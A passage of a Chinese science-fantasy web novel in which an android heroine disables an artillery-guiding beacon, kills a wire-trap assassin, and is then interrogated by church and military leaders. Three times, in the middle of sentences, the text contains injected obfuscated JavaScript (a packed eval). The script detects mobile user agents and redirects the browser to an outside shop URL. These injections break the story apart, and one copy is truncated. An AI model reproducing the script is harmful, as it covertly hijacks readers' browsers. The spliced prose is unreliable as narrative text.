周向青猛地回头,看到一个跟让娜差不多年纪的小修女正掩着口,睁大眼睛望着自己。在看到周向青的相貌之后,小修女松了一口气:“我还以为是卡塔利娜主讲呢,吓死我了。你是游客吗?我没想到这时候还有游客。你不要告诉别人我跟圣女说了什么哦。” “我不是游客。”周向青答道。她想说自己也吓得不轻,但还是没有说出口。对方似乎也并不知道边境交火,内城已经戒严的消息。“你跟圣女说了什么呀?”她随口问道。 “我请她给大主讲和卡塔利娜主讲一点启示,帮他们解决困难。这几天他们总是很忧愁的样子。啊,你没听到我说了什么!”小修女露出被骗了的表情。 “对。但你关心别人,是个好孩子啊。” “我还请她不要让我在晚上偷吃东西以后牙疼。”小修女说。 周向青忍俊不禁。“圣女可以让人不牙疼吗?”她的牙从来没疼过。但她知道工长总是抱怨牙疼,而且不敢吃硬的东西。 “不知道。我就是试试。” 周向青不由得伸手摸了摸小修女的头。她觉得这个小姑娘跟让娜是别一种的可爱。“但你还是要刷牙漱口哦。”她说。 “好吧。”小修女露出不乐意的表情。 周向青笑了笑,正要跟小修女告别,大圣堂的大门却突然砰地一声,被人撞开了。周向青急忙拉上小修女,躲到圣女像的后面。走进大圣堂的是一队士兵。他们一面四处搜寻,一面向圣女像走了过来。 真狼狈啊。周向青脑子里的声音再一次说道。但周向青并不理睬,只是偷眼去看士兵们。她准备趁所有人都望向其它方向时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088314|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从另一侧的翼廊离开。 但小修女挣开了周向青的手,从圣女像后面跑了出去。“你们不能进来!出去出去!”她像是驱赶小狗一样摆着手,迎向士兵们。 士兵们笑了。“哟,这不是小米娅嘛。怎么,又在偷偷跟你的圣女说话啦,她有跟你说睡觉不要尿床吗?” “没有!你们出去!出去出去!” “好好好。问你一个问题,我们就出去。你有没有看到过一个女间谍?她戴一顶红帽子,可能带着一个小女孩。” “没看见!你们快出去!把地都踩脏了!” 士兵们相互看了一眼,嬉笑着走了。小修女跑过去,用力关上大门。 周向青从圣女像后走了出来。“谢谢。” “不用谢。我不觉得你是坏人。那些人每天吵吵嚷嚷什么间谍啦,特务啦。他们总是大惊小怪。”小修女看了看周向青头上的红帽子,又问:“但你是来干什么的呢?” “我在找一个跟你差不多大的小妹妹,她叫让娜,她是来找姨妈的,但我们走散了。” “她的姨妈?” “她说她的姨妈在这里当书记员,今天晚上一直加班还没有回去。所以我想先去政务区那边找找看。” “嗯……”小修女眨了眨眼睛,“但政务大厅的人从来不加班呀。” “啊?” “她大概是弄错了吧。政务大厅的人从来都不加班。”小修女说道。 政务大厅的人从来都不加班。 周向青不太相信让娜的姨妈会是卡比利亚大主讲身边的书记,因为如果是这样,让娜不会那么语焉不详。如今是她感觉到自己被骗了。让娜非要来这里,一定是有她自己的小算盘。姜原也有自己的目的。就连偶遇的那个要杀她的那个年轻军官,也有自己的目的。 唯独她没有。 她就像一个木偶,被一个小孩抛出的丝线牵得团团转。 周向青有些沮丧。她又想念胖球了。她想回旅馆去,给胖球准备鸟粮,晾好开水,摸摸它的头,给它的脖子挠挠痒。 她跟小修女说了再见,走出大圣堂的大门。她也懒得管会不会被人看到了,反正被抓到就被抓到,她又没有干什么真的坏事。 但她不在乎被抓到的时候,反而没有人理睬她。刚才来巡逻的士兵们都去了别处,大圣堂前的修士和修女正在信步闲谈,根本没有人望向她这一边。 “大姐姐,你怎么了?”小修女跟了出来。 “没怎么。”周向青答道。 “是不是你要找的那个小妹妹,她说谎啦?” 周向青没说话。 “那她做的不对哦。如果说谎的话,要打屁股才行。” “但是你刚才不是也说谎了吗?”周向青问。 “啊。”小修女不好意思地挠了挠头。“但是,我不觉得你是间谍呀。嗯,大概她也有自己说谎的理由吧。你找到她之后,问问她不就好了吗?如果她不说实话,再打她的屁股。” 周向青笑了。“好!我找到她,然后打她的屁股。” “不行,要先问过才可以。” “好。先问,再打屁股。”周向青正准备做个打屁股的动作,看到远处的六棱堡上射出一根蓝色的光柱。她不记得刚进来的时候见过那个东西。 “那是什么?”小修女也看到了那根光柱。大圣堂前面散步闲谈的修士和修女似乎也看到了同样的东西,驻足议论起来。 周向青突然想起了那个年轻的军官。他最后不是跑到六棱堡里去了么?如果那样的话…… 她突然发现,除了那道蓝光之外,东方飘来的云团也显得格外的近。 不,那似乎并不是什么云团。 一道火光划过夜空。 26. 卡比利亚之夜11 一道火光划过夜空。接着是第二道、第三道。 卡比利亚内城上空降下了一场火焰的雨。 地面上虽然也有稀疏的火光升起,但仍然无法形成有效的拦截。 一道火光命中周向青前方不远处的地面。 爆炸的气浪卷起砂土、碎布、血液、还有人体的碎片。 人们恐慌地尖叫着,四处逃散。被弹片击中的修士和修女们躺在地上,痛苦地呻吟。 死亡从天而降。 周向青急忙把小修女拉进大圣堂。但这里是否安全,她也没有把握。如果对方的炮击击中这高高的屋顶……但她也不知道更安全的地方了。 而让娜……让娜是个机灵的小姑娘,希望她没事。 “刚……刚才那是怎么了?”小修女一脸惊恐地问。 “可能是真的打仗了。”周向青说。她通过门缝望着六棱堡上那道蓝色的光柱,她下意识地感觉,那是引导这阵火雨的信号源之类的东西。但似乎六棱堡里的士兵并没有注意到这个异象,而外面的士兵大概也正像她这样躲在什么掩体后面吧。 “米卡一定会失败的。圣女会保佑我们。”小修女说。 “是啊。”周向青随口答道。她迫切地等着有人能意识到这个问题。但那蓝光就是像长明灯一样挂在那里。她注意到这段时间的炮击没有一发是落在六棱堡顶上的,好像偏偏避开了这些地方一样。 小修女不说话了。周向青过了好一会才注意到。她回头一看,小修女正抱着自己的膝盖缩成一团,无声的眼泪大颗大颗地从脸上滚落下来。周向青用袖口轻轻地帮她擦了擦。袖口有点硬,擦得并不干净。小修女自己用手背把剩下的眼泪擦掉了。 “米娅。你是叫米娅吧?”周向青蹲下来,轻轻拍了拍小修女的脑袋。小修女点了点头。周向青故作轻松地一转帽檐,“我去帮你把坏人赶走好不好?” 小修女又点了点头,但她只是把脸埋在臂弯里,只露出一双眼睛,眨巴眨巴地看着她,到最后也没有说话。周向青觉得有点尴尬,她很少跟小孩子相处,废坑边可没什么小孩。她犹豫片刻,轻轻抱了抱小修女,说:“深呼吸,深呼吸就好了。” 然后她站起身,望向门外。不管怎样,她都得让这无尽的火雨停下来。 ——只凭你自己是绝对不行的。你需要我。否则你就是死路一条。 她的“功能”又在发表评价。 周向青并不理睬那个声音。她只是深吸一口气,让能量泵进她的肢体,循环流动。 自己身体“功能”的存在越来越明显,她操控起来也越来越容易。但不知怎么,她现在仍然对这种“功能”有种隐隐的陌生,像是她们之间隔着一层什么。她的这具身体是为了某个战斗的目的而设计出来的,但如果是这样,为什么她和“功能”像是两个不同的“人”?为什么她在对方主导的时候,就会失去记忆? 但她现在已经没有思考的余裕。 周向青在两次炮击的间隙冲了出去。 现在外面没有士兵,也没有人阻拦她。 她一直掠过珍宝馆和军械库中间的大路,从一个弹坑飘进另一个弹坑。她也不知道自己为什么会这样做,她只是觉得应该这样。六棱堡的后门已经近在眼前。 周向青刚踏上台阶,便看到门后露出一根枪管。她急忙向右一跃,堪堪避过那些子弹。她的腿侧上次被子弹击中过,只留下一个凹陷,没有造成什么伤害;但她不知道其它部位被命中会怎么样。于是她不从后门进去,而是轻巧地一跃,脚尖在墙壁交替一垫,双手抓上了三层的窗台。 六棱堡当然并不是古代的那种为了防御攻坚而设计的要塞,只是仿效那种要塞设计的,一座六芒星状的兵营而已。它三层以上是较大的“头”,军官宿舍、骑士宿舍、参谋部、指挥部、会议室等等;三层及以下是较细长的“身体”,士兵宿舍。 周向青试着推了推窗户,没有推动。她只好咬紧牙关,一肘把窗户打破,钻了进去。罐头一般紧凑的士兵宿舍里不见一个人。大概都因为戒严在外面巡逻,或者听到警报出去找人了吧。周向青沿着狭窄的走廊走了一段,算是明白了这里的布局。中心是电梯,内外两层均是罐头宿舍,只有窄到只容二人并行的网状走廊相连。她不敢走电梯上去,在外层拐角里找到了消防楼梯。 消防楼梯里弥漫着刺鼻的味道,似乎是有什么气体。有几个穿着军官和骑士制服的人躺在楼梯上,已经失去了意识。周向青犹豫了一下要不要把他们拉到通风的地方,但还是放弃了。她最好还是尽快把上面的信号给关掉。 楼梯间里挂着一张撤离路线图,看样子“头部”向上的楼梯间在右手边的某个位置。周向青推开防火门,一股更强烈的刺鼻味道扑面而来。有人已经切断了这一层的电源,整个楼层发亮的东西只有脚下的紧急撤离标识灯。 周向青用力眨了眨眼,她的视觉开始慢慢适应这种黑暗。然后她就看到,自己的脚边躺着一个人的身体。 她抬高腿,跨了过去。 “哟。你来了。我还在好奇你都在干什么呢。” 楼层里响起了一个人的话声。回声叠着人声,声音已经失去了原本的音色,也听不清对方的位置。 但周向青猜得到,这一定是她之前遇到的那个年轻军官。 “我看你才是间谍吧。”周向青说。 “我只是个小小的合同工而已,接一单,做一单。”声音的来源似乎已经变了。对方大概正在移动。但完全听不到他的脚步声。 周向青没有回答,她贴着向右边的走廊走去。又有几个人倒在那里。天知道这里有多少人造了对方的毒手。她只觉得寒毛直竖,如果她有寒毛的话。 “所以你是来做什么的呢?情报?盗窃?但你的银棘圣血的确不像是假的,这就很让人好奇。”对方又问道。 消防楼梯间近在眼前,周向青伸手去推门。一个什么东西破空射来,紧紧缠住了她的脚,随后重重一扯,她便摔倒在地,然后被拉向对方的方向。 “哟哟哟,不行哦。不能去那边。” 周向青挣扎着翻过身,只摸到脚上的一根细线。她用力一拉,但这根线似乎是拴在什么固定的地方,竟然是纹丝不动。她又试着把线扯断,但那线是挺牢靠的。她只好蹲起身,慢慢把脚上的线解开,突然冲向楼梯间。 又是一根线破空射来,这回缠住了她的右手。这回她有了准备,一个踉跄之后撑住了墙壁,算是没有摔倒。但对方早就想到了这一招,不但早就把第一根线固定好,另一根线也从另一个方向缠住了她的右脚。她被这两根线从两边拉紧,竟一时难以挣脱。 ——真可惜,你马上就要死了。 她心底的声音又游丝一般冒了出来。 “真是没意思。你的徽章还是给我吧,我比你更用得上。你看怎么样呢?” 话音未落,远处火光一闪。周向青凭着本能举起左手,一枚子弹在同时命中她的手心。弹头扭曲变形,掉落下来,叮当作响。 “哟?”对方似乎有些惊讶。火光又是连续两闪。一枪命中周向青右腿内侧,一枪命中周向青左脚的脚踝。子弹在她身上撞出两个凹陷。周向青也不去格挡,而是趁此机会急忙解开右手的细线,连滚带爬躲在墙后,又解开了捆着右脚的线绳。 “原来是这样。这可真是少见。”对方的声音再次移动起来,开始准备下一次的攻击。六棱堡内部的布局就像是一张围绕中央的电梯铺开的蜘蛛网,没有一条走廊是直通到底的,而那人一击之后马上离开,周向青到现在连对方的影子都看不到。 周向青跑了起来。她在曲折走廊的路口任意拐弯,对方也没有办法马上从侧翼包抄。她不断跑动,拐弯,然后突然向向上的消防楼梯间跑去。 但就在此时,一根细线从侧面飞来,捆住了她的左手。她正要用右手解开,又一道线把她的两只手捆在了一起。 线上传来一股巨大的拉力,周向青踉跄两步,急忙身子往后坠,与之对抗。但就在她身体僵住的一瞬,火光两闪,子弹奔着她的双眼呼啸而来。 周向青心中一横。她用力睁大双眼,迎上前去。 ——要死了你要死了你要死了—— 当的一声,她的牙齿咬住了一个小小的金属玩意。另一枚子弹擦着她的脸颊掠过,击中了后面的墙壁。 她的脚步没有停下,仍然向前猛冲。 但对方仍旧早已消失。她到达的位置只有一个钉子。细线的另一头就牢牢拴在上面。 “不错不错,很有想法。”对方在走廊里鼓掌。 周向青吐出那枚子弹。 此时恐惧感才渐渐爬上她的脊背。对方只是在玩弄她,欣赏她在蜘蛛网中左冲右突的狼狈模样。 死亡在等待着她。 周向青重新跑动起来。 她去推,去撞走廊上紧闭的门扇。蜘蛛既然盯着上去的楼梯间,那么她就从外墙爬上去。但她连续试了几扇门,都是紧闭着的。 她不敢在同一个地方停留太久,不然一定会被捕捉到。 对方也似乎察觉到了她的意图,不再追求必中,而是对着她前进的方向射出丝线,把丝线留在齐膝的位置、脖子的高度,还有腰际。 整个楼层越来越像一个巨大的蜘蛛网。 她需要躲避的丝线越来越多,她跑动的速度越来越慢,留给她尝试的机会越来越少。 如果再这样下去,势必无处可走。 已经没有机会了。 她冲向距离自己最近的房间,用力一脚踹在门上,门晃了一下,但没有开。 对方想必已经循声捕捉到了她的位置。 但她已不能再躲。周向青大喊一声,再次用力踹上房门。 门框断裂。 与此同时,接连两道细线缠住了她的左手和左腿。对方用力一拉,周向青摔倒在地。 她害怕对方再像上次一样捆住她的双手,于是也不解开丝线,只在地上打了个滚爬起,向对方冲去。但她刚跑两步,右脚却被绊了一下。她一个踉跄,速度降了下来。此时她已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周向青以右肘为支点,整个身子一拧,左拳再度挥出,正中军官的喉结。军官喉咙中咯咯作响,向后仰去。这一拳同时也算松开了他喉咙的丝线,剑刃吃不上力,竟没有把线切断。 军官抽剑顶上周向青的胸口,剑尖陷入她的皮肤。但周向青借着刚才一拳反馈的力道转过了身子,左脚对着军官下巴重重一蹬。 军官的后脑撞上了身后的墙壁。但这其实算不上什么问题。因为丝线已经再度绞紧了他的脖子。而且因这一脚的力道,细线已经没入他的脖颈一寸有余。鲜血从动脉切口处喷了出来。血液越喷越低,而军官也像是螃蟹一样吐出一大团细密的红色气泡。 周向青避无可避,衣服上全是鲜血。她呆呆地看着还在抽动的军官尸体。 ——啧啧。还不错。但如果是我,还能做得更有效率。 那个声音评价道。 周向青并不理睬。虽然她前两次也杀了人。但她在如此近的距离,在神智清醒的状态下,用自己的双眼看着一个人死去,完全是另外一回事。 而这幅景象,仅仅用“效率”两个字来形容,未免过于苍白。 不过,自己这具身体被创造出来的目的,原本就是“效率”地杀死她创造者的同类。 这样的话,“效率”算是一个褒义词吗? 但她至少这次并没有做错什么。 外面的炮击声还在继续。 她坐在原地,慢慢的深呼吸,好让自己心中躁动的嗡嗡声平静下来。她就是她。不管有没有这种效率的功能,她就是她。有什么问题,等见到“那个人”自然都会明白。而她现在还有事情要做。 周向青伸手想捡军官手中的短剑。 但她左手一动,便连着军官的脑袋也耷拉下来。她不敢再动左手,只好慢慢解开捆在自己右手右脚上的细线,然后再解开左边。细线在她身上勒出的凹痕久久没有消失。 她挣扎着站起身,最后看了一眼躺在血泊里的军官。 六棱堡的楼顶放着一台发出蓝光的设备,应该就是那个军官带来的。周向青检查了一下那设备,发现它除了发出可见光之外,同时还发出特殊波段的诱导信号。那么只要关掉这东西—— 蓝光就消失了。 天上的火雨一瞬间改变了方向。似乎受到了什么东西的干扰一样,绝大部分炮击都避开了内城区域,而是飞向高地下面的悬崖。其中没有受到干扰的,也在城市上空提前爆炸,烟雾在空中形成了一道半球形的云。 大概是之前有诱导信号的缘故,那火雨才能突破力场和电磁干扰墙,命中这里吧。 “找到红帽子了!原来间谍就在这里!” 她的背后突然有人喊道。 周向青回过头去,只见一个全副武装的巨型骑士对她挥起了拳头。她不由得举起双手招架。 对方的铁拳连同她的手臂一起撞在她的胸口,一股无与伦比的力量推着她向后飞去。 在那段坐在工作台前拧螺丝的时间里,她从来没想到过,有一天,会被一拳打得在天上飞。她能看到自己的脚离开六棱堡的地面,越来越远。而地面的骑士们仰头望着她,赶往她落下的方向。 真是一种流星坠落般体验。 27. 卡比利亚之夜12 周向青在空中转了个圈子,想让自己的腿部先落地。但她落下的方向却不是什么地面,而是大博物院的玻璃屋顶。 她的脚尖重重踏在强化玻璃上。 强化玻璃按照设计时的情况变形、粉碎为千万个玻璃颗粒,让她毫无阻碍地落向大博物院内的地面。瓷砖以她的脚尖为中心现出太阳光线般的裂纹,大大小小的碎块在应力的作用下向空中弹起。 在周围无数玻璃颗粒汇成的雨声中,周向青闭起双眼。 这可不是她理想中进入大博物院的方式。 而骑士和士兵们几乎是在她落地的同时冲进了大博物院里。 “不准动!”“双手抱头,蹲下!”的声音不绝于耳。骑士们冲上前,反剪她的双手,按住了周向青的肩膀。周向青懒得反抗,随便他们怎么弄。 “大姐姐?”在嘈杂的喊叫中,还夹杂着一个小女孩惊讶的呼声。 让娜,你果然在这里。周向青无奈地笑了笑。 让娜看到周向青身上的血迹,不由得发出一声尖叫。 一阵更加杂乱的脚步声响起,一行人循声跑向她这里。 “这就是引导炮击的间谍?”一个穿军装的老头对着周向青大吼。他的肩章上有好几个金色三角。 “大姐姐才不是什么间谍!”让娜大声争辩。“她只是……她只是……” “所以这就是带你一起进来的女孩子?撞破天花板进来,可真是了不得。不是普通人物。”一个中年修女说道。她的衣袍和普通修女不同,红黑底色上还绣着金边。 “抬起头来!”按住周向青肩膀的骑士大声命令。周向青并不理睬。那个骑士想要扳起她的头,但又嫌她的帽子碍事,便一把揭掉她的帽子,扔在地上。原本架在帽子上的,胡筱秋送她的墨镜磕上地面,滑到一边。 周向青当即挣扎起来,但骑士们的铁臂颇有一股蛮力,把她牢牢按着,动弹不得。一个骑士在背后一扯她的辫子,周向青不得不抬起头,看着面前的这一群人。 但并不是所有人都在意她的事情。“所以这到底是怎么回事?你们不是说这里是最安全的地方吗?炮击怎么又停了?”市民服色的女人锐声问道。 “刚才已经给你解释过了!一定是有人混进来,在内城的什么地方布置了信号诱导器,制导弹药才能摆脱力场和电磁屏障的干扰!现在我们拆掉诱导装置,防御系统自然就起效果了!但关键是——” 嘟———— 空中巨大的汽笛声掩盖了军装老头的吼叫。所有人都抬头望去。原来是周向青之前看到的那片云朵,已经飘到了内城的正上空。地面的防御系统已经开始反击,许多防空导弹像焰火般摇曳着向上飞去。整个场面透过上面的玻璃屋顶看去,甚至有点节庆的气氛。 “那又是什么东西?”市民服色的女人惊叫道。 “还有飞艇?那玩意怎么过来的?为什么之前没有发现?”军服老头吼道。 “是啊,为什么呢,毕竟那可是你的职责。”穿了一身白的男人接茬道。 “那是因为雷达没办法发现移动过慢的东西——” “你还真的以为我在问‘为什么’吗? “大主讲阁下,看来此处仍然非常危险,不宜久留,我们还是速速回到地下堡垒为是。”一个穿一副金边银铠的骑士回身说道。 在他身后的,就是卡比利亚的大主讲。 卡比利亚大主讲是一个戴高冠华冕,穿珠玉锦袍,却仍然像是隔壁老大爷的矮小老人。他被众人围在中间,眨巴着小眼睛,双手拢在袍袖里,他像是什么都在看,但什么都没看;什么都在听,但什么都没有听。 此时一个士兵跑了进来,对那穿白衣的男人耳语了一番。那男人便对大主讲汇报道:“阁下,上城区和下城区最外围已经疏散完毕,城中区的疏散已经开始。都按您的吩咐,由内外到中间,每十分钟通知一片区域。”他在汇报这件事的时候,双眼却紧紧盯着周向青。 大主讲点了点头。 嘟———— 又是一声汽笛。飞艇上射出无数个空投舱,伴着干扰弹的闪光与白烟一同下落。 “敌军打算地面作战了。大主讲阁下。请您移步地下堡垒,在那里我们也可以指挥地面上的战斗。圣座目前已经不能理事,而您的贵体若有万一,那么我们虽百死也不能赎罪。” “他们妄图俘虏我们!先审问一下间谍,看看她知道多少作战计划!”军装老头叫道。 “大姐姐才不是间谍!你这个坏老头!”让娜骂道。 “卡塔利娜!管好你的小崽子!”穿军服的老人伸手去抓让娜背后的衣领,但让娜灵活的矮身避过。军服老人气急败坏地转向周向青,大声喝问:“说!你们有什么计划!他们准备从哪几个方向进攻?” 周向青并不理他。 卡塔利娜主讲则对大主讲鞠了一躬,说道:“大主讲,我想去看一下会务区的情况,我担心宿舍也受到了炮击。” “去吧。卡塔利娜主讲。圣三角指引我们。” “圣三角指引我们。”卡塔利娜主讲在胸前比出三角手势,转身离开。 周向青听到这个名字,突然想起了小修女的事情,便在卡塔利娜主讲经过身边时低声说道:“米娅还在大圣堂里。” 嘟———— 第三声汽笛响起。卡塔利娜主讲诧异地看着周向青,她大概是有话想问,但只是点点头,匆匆离开了。而之前把周向青从六棱堡上打下来的骑士巨汉正好大踏步走进大博物院,与她擦肩而过。 巨汉走到大主讲面前,瓮声瓮气地报告:“六棱堡已经安排清理了,大主讲阁下。”他看了一眼周向青,又说:“这个混蛋间谍在军官层放了毒气。中毒的人虽然已经暂无生命危险,但还没有恢复意识。” “中毒的军官有多少,骑士有多少?” “军官60多人,骑士大概也是类似的数目。” “还好之前的间谍警报让一些人出去参与搜索了,不然情况会更严重。”银甲的骑士感概道。 “能把中了调虎离山计说得这么清新脱俗,也只有你了。”白衣男人讥讽。 “但警卫工作难道不是内务部负责吗?出了这么大的疏漏,我倒想问,就在事情发生前,你偷偷调了一批人出去,那是干什么的?” “我还有别的要务,轮不着骑士团介入!” 大主讲突然出声道:“伏龙芝将军,徐正书总队长,那就先请二位回地堡去部署一下我们的防御措施吧,损失了这么多军官和骑士,可能需要任命一些士兵来担任指挥职责,这点我相信二位能处理好。目前疏散的市民必然占据着绝大部分交通流量,城外的援兵一时半会也无法抵达。对方也就是看准了这个时机——而且我并不想下令让救援部队占用市民撤离的通道,因为难保对方不会发动更大规模的袭击。再加上,对方或许还会从其它角度进攻,随便改变各防区的兵力配置可能会置我们于更加不利的境地。对方是孤军深入的冒险行动,我坚信,时间在我们一边。但话说回来,内城虽然具有防御上的优势,仅靠消极防守恐怕是不行的。我们要尽快弄清,除了引导信标之外,对方还造成了什么破坏。总之,就请二位发挥自己的作用,带我们前往最终的胜利。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088316|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军装老人和银甲骑士鞠躬敬礼,骑士又亲吻了大主讲的手,二人回到地堡去了。而那个平民服色的女人左右看了看,也偷偷跟了过去。他们都是往博物院内侧走的,看来那个地堡就在博物院的正下方。 此时大主讲的身边只剩下让娜和那个穿白衣的男人,还有那个巨汉。 大主讲轻轻咳嗽一声,双手从袍袖中抽了出来。他向前走了两步,从地上捡起周向青的墨镜,还有那顶红色的帽子。大主讲看到帽子上的飞船标识,他的动作略略停顿了一下,但还是把帽子端端正正戴在周向青的头上,又把她的墨镜架上帽檐。按着周向青的骑士们不由得也放松了力道。 “小让娜说,是她一厢情愿让你陪她过来的;而我手下的人又说,你是间谍。” 大主讲开口说道。“我相信小让娜不会说谎,是你带她来的;但这里受到攻击,也是实实在在的事。而且,普通人大概不能从那么高的地方掉下来还毫发无损。而且你还满身的血迹。所以,请你讲讲你的故事吧。” ### 周向青不太清楚从何讲起。她说了自己是想要来博物馆看看有机存储器的事情,在路上遇到让娜的事情,赛德机师,还有六棱堡顶上的战斗的事情,以及自己关掉那道蓝光后,就被打飞到了这里。 “所以还有这么一个人吗?”大主讲听得津津有味的样子。 “这……的确是有一个被杀的军官。被细线割开了脖子。”巨汉回答。 “我稍后查一下他的身份。”白衣男人回应,但他又瞪了周向青和让娜一眼,说:“但如果不是你们,他也不能那么容易就通过岗哨。” 让娜鼓起腮帮子,狠狠地瞪了回去。 “所以这段时间,我建议还是先把她们关押在……” “请等一下!” 白衣男人的话只说了一半,便被外面的喊声打断了。一个穿着三角长袍的人还没等车停好就跳了下来,跌跌撞撞跑进大博物院。两个士兵跟着他跑了进来,慌不迭地禀报:“大主讲,他说有要紧的事情要见你。” “赛德机师!”让娜开心地跑上前去。 “你呀。”赛德喘着气,狠狠弹了让娜两下大脑壳。“所以你是拿你的问题来烦大主讲了吗?” 让娜摸着额头,不好意思地嘿嘿笑了。 大主讲温和地倾听了她所有的问题,回答了她的疑问。大主讲告诉她,铁臂是一种变成了另一种生物的机械,而身体检查是为了测试她叔叔的身体与活化机械之间的相性如何,这个和人身体强壮与否无关,只是一种与生俱来的禀赋。虽然能够接受活化机械是好事,但目前的研究成果还不足以适应所有人的情况。她在那个巨型骑士走进来的时候就开始注意他了,因为大主讲说起过,有这么一个特殊的,把双手和双脚都换成了活化机械,还能够好好活着的人。大主讲表示,她的父母没有必要去捐赠,因为统修会并不希望人们为了不知什么时候能得到结果的研究,去牺牲当下的生活。大主讲会考虑让娜叔叔的情况,看看能不能为他制作一只虽然不像铁臂那样强而有力,但仍然能够满足生活劳动需要的手。 让娜比较喜欢这些答案。她是幸福而满足的。大主讲确实如电视中那样,关心每一个人。 但那个白衣男人却怀着跟让娜完全不同的心情。 “赛德!你为什么骗我?你说的男人在哪?程光颐的东西在哪?” 赛德看了看周向青,又看看白衣男人,露出无法理解对方为何如此愚钝的不耐表情。 “刘光磊,你在说什么啊?你看看她!你看看她胸前的徽章!她就是程光颐要护送的对象!” 28. 卡比利亚之夜13 刘光磊沉下了脸。“赛德机师,在大主讲驾前,请你注意自己的身份。还有,把你要说的事情讲明白。” “是。朱启儒大主讲,刘光磊副主操。”赛德机师鞠了一躬,说:“她就是程光颐去环运城找的东西。不,找的人。” 朱启儒和刘光磊对望了一眼。 “赛德机师,你凭什么这么认定?程光颐去环运城是执行一项秘密任务。你不应该知道他是去干什么的。”刘光磊追问道。 “是。我的确不知道他是去干什么的。”赛德机师承认。“但程光颐在启程之前跟我聊过一次。他兴高采烈地说,虽然不能告诉我到底是什么,但他或许能让圣女重新回到人们心里。你也是他的同学,且不论你支不支持他的想法,但难道你不知道他心里面想的事情?” 刘光磊咳嗽了一声。“赛德机师,我们之间的私人关系和他去执行的任务毫无关系。” “是。但他是主动请求这个任务的,不是吗?他主动申请从石岗城调过来,然后飞速获批,获批后马上去了这个任务。这根本不是正常的调任手续。他不惜动用他最鄙视的关系,也要拿到这个任务的机会。而她!难道不是我们长久以来需要的东西吗?你看不出来吗?你真的看不出来?” 刘光磊偷眼去看大主讲脸上的表情。但大主讲只是如往常一般温和地望着所有人。刘光磊说:“抱歉。我没有看出她与程光颐的任务有何关系。” “天哪!”赛德用手蒙住了脸。“她是一个仿生人!她是上个时代被大崩溃摧毁了的那一批仿生人!但她又并不像我们见到的,学院那帮人从废墟里捡出来恢复的玩意一样呆呆傻傻——她看上去和我们一样不是吗?不,她已经是一个人了不是吗?” “赛德机师,如果你再这样没头没脑地说话,那么恐怕我就没有心情再听下去了。”刘光磊说。 “你怎么样关我什么事。大主讲,您看看她!这不就是我们一直追求的三元一体,所有人真正的平等与——” “三元一体并不是这么简单。”卡塔利娜主讲说道。她从会务区回来了。“大主讲,修士们还好,宿舍被炮火击中,死伤者目前得到了救助,火势也控制了。孩子们也很安全。”她说最后一句话时,看了一眼周向青,然后继续说道:“三元一体是人体、机械、精神的完美融合。上时代的人工智能只是拙劣的仿制品。而且还失败了。你忘了自动化大崩溃?” “但仿制品和正品的界限又在哪里呢?难道一尊塑像不同样是人类的仿制品?但塑像所展示出的人性,难道不超过了人本身?我们尝试用活化机械替换肢体与器官,难道你想象中的三元一体,就是这个笨重的蠢物?”赛德机师指着大主讲背后的巨型骑士。“你那样的想法不过是另一个米卡罢了,不,甚至连米卡都不如,因为他们至少还保留了人类的纯粹性!你我都知道,解决问题的方案在于活化机械。但去研究圣女草的萃取反应完全是搞错了方向——” “你怎么敢这样否定我们这么多年研究的结果!真是入了魔障!”卡塔利娜主讲摇头道。 “大主讲,您看看她!”赛德机师乞求道。“我觉得我的判断没有错。” 刘光磊则是一副看不下去的样子。“这么说吧,赛德机师。程光颐并不是去找她的。大主讲,请你允许我稍稍地泄露一点机密,以开导这个误入歧途的可怜人。程光颐是去找一份文档,并不是去找一个人。或者,仿生人。” 赛德机师摇了摇头。“你说的或许是对的,但那不是程光颐给她自己徽章的原因。我非常了解他,我们经常一起讨论。他常说,我们现在最需要的,就是一位圣女,对抗我们之间的败类,守卫我们真正的未来。当我看到她的时候,当她说这枚银棘圣血徽章属于程光颐的时候,我就一瞬间明白了他的目的。他从她身上看到了他期望的圣女的影子。而眼前的这场战争,就是让圣女的精神重回每个人心里,最好的机会。我们在米卡的进攻下屡战屡败是因为什么?是武器吗?是战术吗?不,是我们已经没有了战胜的信心!我们急需圣女重新带领我们取得一场胜利,让我们——” “你这话简直是亵渎!区区一个仿生人,怎么能跟圣女相提并论?三元一体中最重要的一角是人类的思想,如果你把所有带有人工智能的机器统统称为三元一体,那简直是丧失了人的本性!” “但人的本性又在哪里呢?人类的本性来自于……我们的手脚,我们的胳膊和大腿,我们的大脑。我们数万年建立的文明文化都是这具身体的延伸。我们吃饭用的筷子刀叉,劳动使用的锤子镰刀,都是基于人类手的构造。正是因为我们有这具身体,才创造了这样人化的世界。而她恰恰就拥有和我们最为相似的身体。或许她还不算完美,但圣女又何必是完美的呢?圣女之所以神圣不是因为她完美,而是她身上有值得所有人崇拜、效仿的东西。这不正是圣座省去圣女名字的原因吗?” 